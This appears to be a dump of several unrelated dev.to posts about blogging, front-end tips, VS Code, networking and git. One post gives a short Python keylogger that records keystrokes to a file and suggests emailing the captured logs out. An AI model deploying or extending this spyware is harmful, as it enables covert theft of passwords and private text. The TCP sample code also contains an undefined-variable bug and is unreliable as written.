teleren/devto huggingface dataset:
I Think Blogging Is Important And Here's Why : 
Tags: motivation, codenewbie
Published: 2021-01-02 18:03:49

<i> We just entered 2021 and it's time to stop postponing your things and <b>start doing</b> </i>.

Maybe you've been thinking about blogging for a while but you're not sure whether to start it or not.
<br>

Blogging can be a scary thing but it can also be a good thing. 
It has helped me in some ways, so my answer would be <i> don't think about it, just go for it. </i>

<h3> And here's why : </h3>

<br>

<h4> <b>1. It helps you with having a better understanding of concepts : </b> </h4>
There's this saying : <i>"you'll learn better by teaching"</i> and I think we've all heard it. 
And yes it's true.

I, personally learn better by teaching, even if it's not something technical. 
When I try to put my knowledge into words (which is a hard thing for me btw) it helps me understand things better. 


Let's say you want to teach someone something. 
You don't know what level they're at, so you can't just jump into hard stuff right off the bat. 
You need to break down the problems into simpler things so that they can understand.
Doing so will help you greatly to have a better understanding of the concepts. 


<h4> <b> 2. Learning some new stuff along the way </b> </h4>
Sometimes when I Google to look for a specific thing to add on my blog, I find/learn something new along the way. Isn't that cool? 


<h4> <b> 3. If you're not a native English speaker, it could help you to improve your English </b> </h4>
If you're not a native English speaker like me, you might find blogging a hard thing. 

My English is okay but it's not that great.
So when I write something, I need to make sure there are no errors and everyone understands what I'm saying which leads me to wanting to improve my English. 

<h4>4. you can make money </h4>
I'm still trying to figure this part out but yeah apparently you can make money. 

Here are some ways I've found on Google :
- Use affiliate marketing on your blog. 
- Add banner adverts to your website.
- Write advertorials and sponsored content.
- Charge for sponsored social media posts.
- Write guest blog posts for media outlets.
- Work with an agency to build your blog.
- Sell digital products on your blog.
- Sell your blog's newsletter space.


<h4>5. It could help you to get a job </h4>
I've seen some people sharing their experiences about how blogging helped them get the job easily . 
I remember seeing a few tweets about this : <i> "I was at a interview and the interviewer was like we saw your blog, you're good, you're hired."</i>

<h4> 6. It helps other people </h4>
You may write a very simple post and think it's stupid but you don't know who will read it! Maybe someone else is having the same problem as you had, and your blog could help them. 
________________
So you see? 
No matter how you look at it, <b>you will benefit from blogging. </b>

Then how about adding it to your new year resolutions now? and enjoy its benefits?
How to build a landing page quickly by copy-paste as a developer
Tags: bootstrap, startup, productivity, design
Published: 2021-01-02 17:35:56

In this article, I’ll show you how you can build a landing page for your product or startup quickly by copy-paste in 1 or 2 hours and without using page builders or having to hire someone.

![this is going to be easy GIF](https://media2.giphy.com/media/xTiIzoyw4Yh3mRM5DG/200.gif)

**Important**
Before we start, you need to know that this method requires having a basic knowledge of HTML & CSS (just basic knowledge, not an expert).

First, open your code editor like Sublime, Dreamweaver, VSCode, etc, and create two files: index.html and app.css.

![indexhtml and appcss](https://miro.medium.com/max/700/1*MQvvXjIGpJtggUuReNOXgQ.png)

Next, go to frontendor.com/preview where you can preview more than 100+ reusable HTML blocks.

From there, go to the developer guide, copy the starter HTML code, and paste it to your index file. Then, copy the starter CSS and paste it to the app.css file.

![developer guide screenshot](https://miro.medium.com/max/700/1*KqDxs8ux1aJnPGUfGgT7kg.png)

🤘 Now, we are ready to start using these blocks.

Just click on copy HTML and paste it in the body of your HTML code, then copy CSS the same way and paste it to your app.css file.

![copy block's code](https://miro.medium.com/max/700/1*C12ujj0l75nn_JrN1FwAnQ.png)

Now if you open the index.html file with Chrome, you’ll see your web page.

![web page opened in Chrome](https://miro.medium.com/max/700/1*lft5GoYzB-XpL_iCsKJLWA.png)

Keep copying and pasting blocks the same way until you finish all the necessary sections.

![that was easy GIF](https://i.gifer.com/25P5.gif)

Finally, we’ll start customizing colors and backgrounds.
Go to the beginning of your app.css file, and you’ll find CSS variables to change your colors according to your needs. If you need to learn more about CSS variables, just type on Youtube CSS variables and you’ll find free tutorials there.

![css variables in Frontendor](https://miro.medium.com/max/700/1*UORzzSNgb_WMfP1m6UeHYg.png)

Editing your text is easy, just search for what you want and edit freely. The same thing applies to links and buttons.
Once you are finished with your needs, you can drag and drop it to Netlify.

![drag and drop to netlify](https://miro.medium.com/max/700/1*E0jSGnR_vHVO25RDNhdwJA.png)

😎 That’s all, you have successfully built and deployed a landing page.

![omg GIF](https://media3.giphy.com/media/xT77XWum9yH7zNkFW0/giphy-downsized-medium.gif)

If you notice any issues in  [Frontendor](frontendor.com), you can check out our [developer guide](https://frontendor.com/preview/assets/developer-guide.html), watch our [tutorials](https://www.youtube.com/channel/UCWWt5-vX728Dsjej56B7HGw), or contact us through the live chat. You can also find us on [Twitter](twitter.com/Frontendor_).

Don’t forget to visit [frontendor.com](frontendor.com) for more info.
Top 5 Vscode Extensions 🔥
Tags: vscode, devops, react, productivity
Published: 2021-01-02 17:30:44

There are more than thousands of Vscode Extension available in Vscode marketplace ,most of them are useful .These are the top 5 Vscode extension available in Vscode Marketplace .


1 Gitlens 

Gitlens is one of the most  favourite and used extension by every developers in the world .It lets you check git history,  line and file history, commit searching, create or move between any branches and many other tools for handling Git.


![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/v4molwiof8hzw2bi48m8.png)

2 Liveshare  

Liveshare helps to share your entire code with another Developer and helps them to share terminal and server .A new upgraded extension is also available Liveshare with Audio where you can also communicate during the collaborative session

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/bonidx2yq7dj0kex7wjy.jpg)

3 Prettier 

This is the best extension available in the Vscode Marketplace for code formatting .It helps to look your code more structured and organised 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/km6t3vhgsq9i60iaxkgv.png)
 
4 Bracket Pair colorizer

This extension allows matching brackets to be identified with colours. The user can define which characters to match, and which colours to use. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/rwuje7ya4b6j2waxkdkp.gif)

5 Eslint 
 
ESLint is designed to be completely configurable, meaning you can turn off every rule and run only with basic syntax validation, or mix and match the bundled rules and your custom rules to make ESLint perfect for your project. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/01u8u2hmqjay06bin9pz.png)

**Hey Guys we just dropped our 1st video on YouTube at 10 Am (IST) on 16 January 2020 .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .**

https://www.youtube.com/watch?v=4pjpHUN28kk

Be a part of us 🚀 🚀
Telegram https://t.me/forthecommunity
Discord https://discord.com/invite/QsAqC4yKkm
Facebook https://www.facebook.com/forcommunity.tech
Youtube https://www.youtube.com/channel/UCP33irJmpa60rIuztDP2itQ
Keylogger in just 20 lines of code
Tags: python, hacking, penteseting
Published: 2021-01-02 17:28:36

I am sure you have already heard the term **keylogger** since you're a geek and you're visiting this website.

If you don’t know, let me explain very quickly, a Keylogger as its name indicates, is a *tool that captures your keystroke** and saves them somewhere.

If you're a pentester, I am sure you have such tools in your bag :computer:.

We are using **python** as a scripting language and **pynput** library to capture keyboard events.

Here is the full code, exactly 20 lines, the code explains itself.

```python
class Keylogger:                                                                          
    def __init__(self):                                                                   
        self.keylogs = '/tmp/keylogs.logs'                                                
        self.keylogsfile = open(self.keylogs, 'a+')                                       
                                                                                          
    def callback(self, key):                                                              
        try:                                                                              
            self.keylogsfile.write(key.char)                                              
        except AttributeError:                                                            
            special_key = str(key)                                                        
            if special_key == 'Key.enter':                                                
                special_key = '\n'                                                        
            if special_key == 'Key.space':                                                
                special_key = ' '                                                         
            self.keylogsfile.write(special_key)                                           
                                                                                          
    def run(self):                                                                        
        with keyboard.Listener(on_press=self.callback) as l:                       
            l.join()                                                               
                                                                                          
    def stop(self):                                                                       
        self.keylogsfile.close() 
```

If you have time, you could extend this code to send captured keystrokes via email periodically :wink:
Theme Toggler
Tags: codepen, css
Published: 2021-01-02 17:02:33

## A theme change toggler.
So I was just doing some work yesturday and I think let's make a theme toggler button using a checkbox, and I found that it was pretty simple to create one.
Here I am sharing it to you.
We just need some small steps to create it, 

Step1: Create a wire frame for checkbox in HTML
```
<input type='checkbox' id='check' />
<label for='check'></label>
```

Step2: Create css for it just use some css selector properties to tackle the checked and unchecked checkbox.

```
body{
  top: 50%;
  left: 50%;
  position: absolute;
  background-color: #000;
}
input[type=checkbox]{
  display:none;
}
label{
  cursor: pointer;
  width: 100px;
  height: 50px;
  background: linear-gradient(to right, hsl(210, 78%, 56%), hsl(146, 68%, 55%));;
  display: block;
  border-radius: 100px;
  position: relative;
  
}
label::after{
  content: '';
  position: absolute;
  width: 40px;
  height: 40px;
  top: 5px;
  left: 5px;
  background-color: #fff;
  border-radius: 50%; 
  transition: all 0.5s;
  transform: translateX(0px);
}


input[type=checkbox]:checked + label::after{
    transition: all 0.5s;
    transform: translateX(50px);
    background-color: #000;
}


.dark{
  postion: absolute;
  margin-top: 34px
}

```
That's it , here is the result from this little code.



{% codepen https://codepen.io/prashantpandey9/pen/YzGaGXq %}
TypeScript Quick Look on Big Sur
Tags: typescript
Published: 2021-01-02 16:52:21

There is no way to to this.


I tried the following it **does not work**:

```bash
brew install --cask qlcolorcode
code ~/Library/QuickLook/QLColorCode.qlgenerator/Contents/Info.plist
xattr -r -d com.apple.quarantine ~/Library/QuickLook/QL*
qlmanage -r && killall Finder
```

Paste in the following lines anywhere between 17 - 107 in the array under `<key>LSItemContentTypes</key>`

```xml
<string>public.mpeg-2-transport-stream</string> <!-- ts -->
<string>dyn.ah62d4rv4ge81k652</string> <!-- tsx -->
<string>dyn.ah62d4rv4ge80y652</string> <!-- jsx -->
<string>public.shell-script</string> <!-- sh -->
```
Difference between UDP and TCP (example code)
Tags: python, beginners, networking
Published: 2021-01-02 16:50:30

####Hi everybody this is my first post. I started the 100DaysofCodechallenge so I decided to write about what I learn each day.
####Today I learnt about the difference between UDP and TCP and used it in the client/server model python code.

##UDP(User datagram protocol): 
####In simple terms **UDP** is a very fast and not-so-reliable communications protocol and does not need to make connections before sending data.


##TCP(Transfer control protocol): 
####On the other hand **TCP** makes connections before data is sent, is a reliable transmissions protocol, not as fast **UDP**.


###I will use a simple python server code to show the differences
###-A simple server using **TCP** connection
```
from socket import * 
 
#create socket
sockfd = socket(AF_INET, SOCK_STREAM)
#bind socket
sockfd.bind(("127.0.0.1", 9999))
#listen for connections
sockfd.listen()
 
#accept connection
newsockfd, address = sockfd.accept() 

#recieve message
response = newsockfd.recv(1024)

#send message
message="this message is for you"
newsockfd.send(msg)

```


###-A simple server using **UDP** connection
```
#create socket
sockfd = socket(AF_INET, SOCK_DGRAM)
 
#bind socket
sockfd.bind(("127.0.0.1", 9999))

#recv message
data, client_addr = sockfd.recvfrom(1024)

#send message
message = "yo, yo"
msg = message.encode()
sockfd.sendto(msg, client_addr)
```

####We can clearly see that the **UDP** code is shorter than the **TCP**.This is because:
1.TCP connection listen `sockfd.listen()`for connections on it socket while UDP just doesn't do that(if data is sent and server is not up it is simply lost)

2.TCP accepts connection`newsockfd, address = sockfd.accept()  `from the client before exchanging information while UDP just accepts information and stores `data, client_addr = sockfd.recvfrom(1024)`the IP address from which it received information

3.The receiving function. TCP uses `recv(1024)` to recv data "1024" specify the amount of data
while UDP uses `recvfrom(1024)`basically because the address from which the data was received also needs to be store

4.The send function. TCP uses the `send()` because it does not need to specify the address to which the data needs to be sent
because a connection has already been established between client and server
while the UDP uses `sendto()`which needs to sppecify the address to which data will be sent.

FTP, SSH, email use TCP.
Streaming media, online gaming use UDP.

Hope this little information gives you a basic understanding of **TCP** and **UDP** feel free to live your thoughts in the comments or contact me at [black_strok3](https://twitter.com/black_strok3)
Accessible Circular Sliders
Tags: css, javascript, a11y, codepen
Published: 2021-01-02 16:45:39

Just a few years ago, it was almost impossible to create range sliders without *a lot* of JavaScript. Thankfully, in modern browsers, it's super-easy to style range sliders, using CSS only. If the browser supports *CSS Custom Properties*, it's even possible to use the same styles for a wide range of different styles, just by updating a few properties.

I created these sliders recently, using only CSS:

![Range Sliders](https://dev-to-uploads.s3.amazonaws.com/i/g2vuni0i6ngt8jnlzip4.png)

JavaScript is only used to set the `value` of the slider as a *custom property*, that then is used in a CSS `linear-gradient` to create the "fill".

Accessibility is "built-in": you can `:focus`, and use `arrow`-keys for navigation.

## But what about *Circular Sliders?*
I've always had a soft spot for circular sliders — don't know why, really. So I tried to style the `<input type="range" />` as a circle, and the `thumb`-shadow-element as a draggable, smaller circle.

Visually, it was possible using only CSS:

![Circular Range](https://dev-to-uploads.s3.amazonaws.com/i/a4r7yl2hv1fjemlsxbwo.png)

But the movement of the thumb-circle was still *horizontal*. 
I then tried to update a custom property with the `value` of the `<input>`, and used that in a `transform`, rotating the `track` of the `<input>` and a negative `margin-left` to position the thumb.

But, alas, although it *was* possible to move the thumb along the edges of the circle using arrow-keys, it didn't really work using pointer-devices.

So in the end, I had to call my father, a retired maths teacher, to brush up my trigonometry and understanding of arctangents, in order to create these accessible, circular sliders:

{% codepen https://codepen.io/stoumann/pen/mdrEEMw default-tab=result %}

They are `:focus`'able, and use the same `arrow`-keys as regular range-sliders. The `fill` is a CSS `conic-gradient`.

Thanks for reading!
Problem running RN with sqlite
Tags: reactnative, redux, sqlite, expo
Published: 2021-01-02 16:43:29

guys i have a problem that does not produce any warnings or errors, my project is an offline point of sale written using react native(expo), sqlite and redux the project runs well in dev mode but works partially in production mode where by some transactions just refuse to work without any warning or error this is the project https://github.com/16isaac89/point-of-sale i have tried everything but nothing works
Trying out git submodules
Tags: git, tutorial
Published: 2021-01-02 16:41:14

Organizing code into multiple git repositories remains one of the most charming organization methods available to developers. Multiple repositories work best when teams logically isolate their work together and away from others, but this system may break down when teams develop dependencies on each other's work. 

Perhaps, a team writes helm charts and deploys them from one repository, but code that the helm chart deploys exists in another. Git submodules provide an oft overlooked method for mitigating [cognitive load](https://www.sciencedirect.com/topics/psychology/cognitive-load-theory) when managing dependent repositories.

When following this tutorial feel free to fork my example repository, `git@github.com:Freyert/submodule_example.git`, and follow along.

Getting started with submodules is actually fairly easy:

```
git submodule add git@github.com:left-pad/left-pad.git
```
* **NOTE: left-pad is no longer maintained.**

This clones the remote repository into the current directory and adds configuration to `.gitmodules` at the git repository’s root. Git add and git commit these changes then push to the remote repository.

Now remove the cloned version of the repository and try cloning down the repository again. Notice that the submodule resources were not cloned down from the submodule’s repository. This may not make sense, but imagine a repository with hundreds of submodules. Pulling only the submodules required saves a lot of time. Here is one way to clone a submodule:

```
git submodule update --init
```

This initializes and updates the git submodule, therefore fetching the remote code. If the work environment generally requires all submodules when cloning the repository, more recent versions of git allow this command:

```
git clone git@github.com:Freyert/submodule_example.git --recurse-submodules
```

That should suffice for a quick taste of submodules to peak interest. Managing dependencies through submodules introduces its own complexity which is why almost every system today includes dependency management frameworks. Think NPM for nodejs or Ruby Gems for Ruby. When considering submodules weigh the cost of using submodules against the cost of introducing a dependency management system. Most of the time dependency management wins, but submodules do have some advantages that are worth learning about.

### More Reading

* [_Stackoverflow: How to "git clone" including submodules?_](https://stackoverflow.com/questions/3796927/how-to-git-clone-including-submodules)
* [_Pro Git: Chapter 7.11 Submodules_](https://git-scm.com/book/en/v2/Git-Tools-Submodules)
* [_Git Command Reference: git-submodule_](https://git-scm.com/docs/git-submodule)
  * Good resource for all `git submodule` commands.
* [_Git Reference: gitsubmodules_](https://git-scm.com/docs/gitsubmodules) 
  * Good resource for configuring `submodules`.

_Cover Image of the git logo is attributed to Jason Long, CC BY 3.0 <https://creativecommons.org/licenses/by/3.0>, via Wikimedia Commons the image was retrieved on January 2, 2021 from https://commons.wikimedia.org/wiki/File:Git-logo.svg_
Mac Apps for Work 💻
Published: 2021-01-02 16:14:57


## Applications :
* [Brave browser](https://brave.com/)

* Chrome Browser:
> [checker-plus-for-gmail](https://chrome.google.com/webstore/detail/checker-plus-for-gmail/oeopbcgkkoapgobdbedcemjljbihmemj/related)
uBlock Origin
JSON Formatter
ColorZilla
New Tab Studio
LastPass
OneTab
CodeCopy
OctoLinker
The Unarchiver

Zoom

Slack

Notion

Krisp

IDE :
I'm using VSCode with Menlo font and following extensions:

Prettier
GitLens
ESLint
Bracket Pair Colorizer
Code Spell Checker
Emmet
Live Share
Terminal environments :
I'm using iTerm2 + Zsh + Spaceship theme with following setup:

autosuggestions
syntax highlighting
homebrew
git
node.js
SSH
See also Ali Spittel's My Terminal Setup: iTerm2 + Zsh 🔥 and Lukas Gabsi's 2020 🍀 macOS Terminal Setup (zsh + 🚀 + iTerm)
UI Dev Newsletter #37
Tags: html, css, javascript, webdev
Published: 2021-01-02 16:06:16

- [Centering in CSS](https://bit.ly/3mOFEIB)
Adam Argyle showcases five centering techniques and a series of tests which determine which one is the most resilient to change.


- [How the Nullish Coalescing Operator Works in JavaScript](https://bit.ly/3pqqYkl)
Yogesh Chavan explains how the nullish coalescing operator that is introduced in ES11 works.


- [HTML tags every frontend developer should know](https://bit.ly/3poBMj9)
David Atanda describes some of the most useful HTML tags you may be overlooking.


- [Continuous Performance Analysis with Lighthouse CI and GitHub Actions](https://bit.ly/3rwls1s)
Ayooluwa Isaiah covers the full extent of what the Lighthouse CI tool can do and how to set it up in GitHub Actions.


- [How we built the GitHub globe](https://bit.ly/2M86zCl)
Tobias Ahlin explains what does the new GitHub homepage represents and how they build it with WebGL.


- [What Is Full Site Editing and What Does It Mean for the Future of WordPress?](https://bit.ly/3nRPfQ0)
Justin Tadlock announces 2021 as the year of the site editor as WordPress prepares for 5.7 release.


- [How to Build a Site Structure for SEO](https://bit.ly/2M1bKnx)
Erika Varagouli shows how to build a site structure that works and helps your site achieve SEO success.


- [Public APIs](https://bit.ly/3mUqtxi)
Agustinus Nathaniel makes a site that helps you find some public APIs for your next projects.



Happy coding!

[Subscribe to the newsletter here!](https://bit.ly/34155z3)